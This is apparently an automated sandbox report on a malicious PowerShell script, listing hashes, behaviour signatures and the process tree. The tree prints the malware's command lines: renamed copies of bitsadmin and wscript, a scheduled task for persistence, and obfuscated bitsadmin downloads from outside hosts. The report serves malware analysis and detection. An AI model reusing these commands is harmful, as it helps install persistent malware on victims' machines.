Analysis
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max time kernel
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max time network
209s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
09-05-2023 12:36
Static task
static1
Behavioral task
behavioral1
Sample
doc.ps1
Resource
win7-20230220-en
General
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Target
doc.ps1
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Size
110KB
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MD5
b82b2c3c446169694311b4597299d9a7
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SHA1
3fc783e954d21bc9046f23c52e303864680f3a66
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SHA256
b9673d9fb629c0e639e0bfb0af0a85f47a21676d83af4d3d5db6c422bd696cb5
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SHA512
352ae9d240919b2392df734449728cd544a698ab779b5523af9d0c9bd6aaf2a47d2367e255d7eb0e8509c209f935da5ab32b7d881dbc6d4f99175edec34d6fe2
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SSDEEP
3072:NY119DxPJgetKD9RGfzyqTlcUyfZwwC9V:q19DxPJgetKD9RGfzyqTlcdfZwwC9V
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation oiIBNEQt.exe -
Executes dropped EXE 4 IoCs
pid Process 4320 oiIBNEQt.exe 616 SmYdFe.exe 2552 SmYdFe.exe 2644 SmYdFe.exe -
Drops desktop.ini file(s) 1 IoCs
description ioc Process File created C:\users\Admin\AppData\Roaming\hVPsKBGnL\desktop.ini powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 396 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 4968 powershell.exe 4968 powershell.exe 4968 powershell.exe 2896 powershell.exe 2896 powershell.exe 2896 powershell.exe 2896 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4968 powershell.exe Token: SeDebugPrivilege 2896 powershell.exe -
Suspicious use of WriteProcessMemory 37 IoCs
description pid Process procid_target PID 4968 wrote to memory of 460 4968 powershell.exe 84 PID 4968 wrote to memory of 460 4968 powershell.exe 84 PID 4968 wrote to memory of 392 4968 powershell.exe 85 PID 4968 wrote to memory of 392 4968 powershell.exe 85 PID 4968 wrote to memory of 3892 4968 powershell.exe 86 PID 4968 wrote to memory of 3892 4968 powershell.exe 86 PID 4968 wrote to memory of 2180 4968 powershell.exe 87 PID 4968 wrote to memory of 2180 4968 powershell.exe 87 PID 2180 wrote to memory of 396 2180 cmd.exe 88 PID 2180 wrote to memory of 396 2180 cmd.exe 88 PID 4320 wrote to memory of 2896 4320 oiIBNEQt.exe 100 PID 4320 wrote to memory of 2896 4320 oiIBNEQt.exe 100 PID 4320 wrote to memory of 2896 4320 oiIBNEQt.exe 100 PID 2896 wrote to memory of 2588 2896 powershell.exe 102 PID 2896 wrote to memory of 2588 2896 powershell.exe 102 PID 2896 wrote to memory of 2588 2896 powershell.exe 102 PID 2896 wrote to memory of 616 2896 powershell.exe 106 PID 2896 wrote to memory of 616 2896 powershell.exe 106 PID 2896 wrote to memory of 616 2896 powershell.exe 106 PID 2896 wrote to memory of 1360 2896 powershell.exe 107 PID 2896 wrote to memory of 1360 2896 powershell.exe 107 PID 2896 wrote to memory of 1360 2896 powershell.exe 107 PID 1360 wrote to memory of 1236 1360 cmd.exe 109 PID 1360 wrote to memory of 1236 1360 cmd.exe 109 PID 1360 wrote to memory of 1236 1360 cmd.exe 109 PID 1236 wrote to memory of 2552 1236 cmd.exe 110 PID 1236 wrote to memory of 2552 1236 cmd.exe 110 PID 1236 wrote to memory of 2552 1236 cmd.exe 110 PID 2896 wrote to memory of 260 2896 powershell.exe 111 PID 2896 wrote to memory of 260 2896 powershell.exe 111 PID 2896 wrote to memory of 260 2896 powershell.exe 111 PID 260 wrote to memory of 2540 260 cmd.exe 113 PID 260 wrote to memory of 2540 260 cmd.exe 113 PID 260 wrote to memory of 2540 260 cmd.exe 113 PID 2540 wrote to memory of 2644 2540 cmd.exe 114 PID 2540 wrote to memory of 2644 2540 cmd.exe 114 PID 2540 wrote to memory of 2644 2540 cmd.exe 114 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\doc.ps11⤵
- Drops desktop.ini file(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4968 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" "/c copy /Z c:\Windows\SysWOW64\bitsadmin.exe SmYdFe.exe"2⤵PID:460
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /query /FO CSV /v2⤵PID:392
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" "/c copy /Z c:\Windows\SysWOW64\wscript.exe oiIBNEQt.exe"2⤵PID:3892
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" "/C schtasks /F /%windir:~0,1%reate /sc minute /mo 3 /TN "S0hVPsKBGnL" /ST 07:00 /TR "c:\users\Admin\AppData\Roaming\\hVPsKBGnL\oiIBNEQt.exe /E:vbscript c:\users\Admin\AppData\Roaming\\hVPsKBGnL\lDEtrqms.tmp""2⤵
- Suspicious use of WriteProcessMemory
PID:2180 -
C:\Windows\system32\schtasks.exeschtasks /F /Create /sc minute /mo 3 /TN "S0hVPsKBGnL" /ST 07:00 /TR "c:\users\Admin\AppData\Roaming\\hVPsKBGnL\oiIBNEQt.exe /E:vbscript c:\users\Admin\AppData\Roaming\\hVPsKBGnL\lDEtrqms.tmp""3⤵
- Creates scheduled task(s)
PID:396
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:2904
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\??\c:\users\Admin\AppData\Roaming\hVPsKBGnL\oiIBNEQt.exec:\users\Admin\AppData\Roaming\\hVPsKBGnL\oiIBNEQt.exe /E:vbscript c:\users\Admin\AppData\Roaming\\hVPsKBGnL\lDEtrqms.tmp"1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4320 -
C:\windows\SysWOW64\windowspowerShell\v1.0\powershell.exe"C:\windows\SysWOW64\windowspowerShell\v1.0\powershell.exe" -ep bypass -file lDEtrqms.ps12⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2896 -
C:\Windows\SysWOW64\getmac.exe"C:\Windows\system32\getmac.exe" /fo table3⤵PID:2588
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C:\users\Admin\AppData\Roaming\hVPsKBGnL\SmYdFe.exe"C:\users\Admin\AppData\Roaming\hVPsKBGnL\SmYdFe.exe" /reset3⤵
- Executes dropped EXE
PID:616
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C cmd /c C:\users\Admin\AppData\Roaming\hVPsKBGnL\SmYdFe.exe /transfer PGtxqkND /%windir:~6,1%ownload /priority FOREGROUND "https://raeyb.eu/topic//440d0de189e34d4c8bad4184835ab315.html" C:\users\Admin\AppData\Roaming\hVPsKBGnL\0_svchost.log3⤵
- Suspicious use of WriteProcessMemory
PID:1360 -
C:\Windows\SysWOW64\cmd.execmd /c C:\users\Admin\AppData\Roaming\hVPsKBGnL\SmYdFe.exe /transfer PGtxqkND /download /priority FOREGROUND "https://raeyb.eu/topic//440d0de189e34d4c8bad4184835ab315.html" C:\users\Admin\AppData\Roaming\hVPsKBGnL\0_svchost.log4⤵
- Suspicious use of WriteProcessMemory
PID:1236 -
C:\users\Admin\AppData\Roaming\hVPsKBGnL\SmYdFe.exeC:\users\Admin\AppData\Roaming\hVPsKBGnL\SmYdFe.exe /transfer PGtxqkND /download /priority FOREGROUND "https://raeyb.eu/topic//440d0de189e34d4c8bad4184835ab315.html" C:\users\Admin\AppData\Roaming\hVPsKBGnL\0_svchost.log5⤵
- Executes dropped EXE
PID:2552
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C cmd /c C:\users\Admin\AppData\Roaming\hVPsKBGnL\SmYdFe.exe /transfer ugBWiqXF /%windir:~6,1%ownload /priority FOREGROUND "https://rbutkj.eu/topic//440d0de189e34d4c8bad4184835ab315.html" C:\users\Admin\AppData\Roaming\hVPsKBGnL\1_svchost.log3⤵
- Suspicious use of WriteProcessMemory
PID:260 -
C:\Windows\SysWOW64\cmd.execmd /c C:\users\Admin\AppData\Roaming\hVPsKBGnL\SmYdFe.exe /transfer ugBWiqXF /download /priority FOREGROUND "https://rbutkj.eu/topic//440d0de189e34d4c8bad4184835ab315.html" C:\users\Admin\AppData\Roaming\hVPsKBGnL\1_svchost.log4⤵
- Suspicious use of WriteProcessMemory
PID:2540 -
C:\users\Admin\AppData\Roaming\hVPsKBGnL\SmYdFe.exeC:\users\Admin\AppData\Roaming\hVPsKBGnL\SmYdFe.exe /transfer ugBWiqXF /download /priority FOREGROUND "https://rbutkj.eu/topic//440d0de189e34d4c8bad4184835ab315.html" C:\users\Admin\AppData\Roaming\hVPsKBGnL\1_svchost.log5⤵
- Executes dropped EXE
PID:2644
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
182KB
MD5f57a03fa0e654b393bb078d1c60695f3
SHA11ced6636bd2462c0f1b64775e1981d22ae57af0b
SHA256c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
SHA5127e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a
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Filesize
182KB
MD5f57a03fa0e654b393bb078d1c60695f3
SHA11ced6636bd2462c0f1b64775e1981d22ae57af0b
SHA256c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
SHA5127e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a
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Filesize
182KB
MD5f57a03fa0e654b393bb078d1c60695f3
SHA11ced6636bd2462c0f1b64775e1981d22ae57af0b
SHA256c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
SHA5127e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a
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Filesize
144KB
MD5ff00e0480075b095948000bdc66e81f0
SHA1c2326cc50a739d3bc512bb65a24d42f1cde745c9
SHA2568c767077bb410f95b1db237b31f4f6e1512c78c1f0120de3f215b501f6d1c7ea
SHA5123a38e62dcb925411bc037335e46dfdd895c12a52ac43c47ef38db42d41d8358dfc2b1081a361367911d60ec5a3350ca734cf70ad57b21d39b23cfdec35b0aced
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Filesize
182KB
MD5f57a03fa0e654b393bb078d1c60695f3
SHA11ced6636bd2462c0f1b64775e1981d22ae57af0b
SHA256c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
SHA5127e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a
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Filesize
170KB
MD5b1e4bb15cd7c3bb8faa27d9259060d6e
SHA11dc36500c1ecf233c2738091fecb8fafc315e5c4
SHA2565892d0da637ad58bcce67c1b78ca9b1ba3ee701c3884207c0f71cf6a45a321e6
SHA5127c30818cfb820abeedcb8b301dc8df183176388eab4c8ac9f7ce2c3d8c7a187ae20318ec2f18e9896022882b175c735315d3a93b494de25bf97c8e3c938c6b4d
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Filesize
2KB
MD5a2f4ded03aca99732577128b000c5f3b
SHA1ed0122bd8dc73932d12517bb67fec25c4d18316c
SHA256503a57004284aa678d2aea3fb92c935e332c815c9a2395aad9c6b0a4069bbdcb
SHA512ebb8923b100fd1fb5ed9faabab8b101f72774146176afb2c22c57be5c506e3f3f501f0109dd849917f444d36770bf1c789c2053f4c388ef98b3f311cd6919ff5
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Filesize
1KB
MD5cb48dc18925ca766622d19ba402c924b
SHA1180eec7f437909ef11e56735604785fde18ba06e
SHA256d9d17a2ff59dbed40f397d32910a5bbf3959bb999921ef80e7f72a9833ca5a0c
SHA512b69dc8c0e05661516e3a530a35beb08ac40d2346bcbb5edb6b24869fa96dda6dcea9550e7f73a21f9992fc969bbda851276be8476ffbcd39468ee5b7465db684
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Filesize
2KB
MD5247af96e212874aede72263ed3b30b72
SHA10ffb0ddebb879afc5b4b4e8bb256b76fb5e9eb75
SHA2563e7de2dcaf5b7702ce7672b95b38a047ae25be18d334d6df29d8413210873c0e
SHA5124e9cf38ff3fa7436db2e717280c3fba1dd346ceaffa47def636467123675f41b6c568cd1febfaa1674551e1da33b8650909ad822523e821e6172361ba9bb7ee4
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Filesize
144KB
MD5ff00e0480075b095948000bdc66e81f0
SHA1c2326cc50a739d3bc512bb65a24d42f1cde745c9
SHA2568c767077bb410f95b1db237b31f4f6e1512c78c1f0120de3f215b501f6d1c7ea
SHA5123a38e62dcb925411bc037335e46dfdd895c12a52ac43c47ef38db42d41d8358dfc2b1081a361367911d60ec5a3350ca734cf70ad57b21d39b23cfdec35b0aced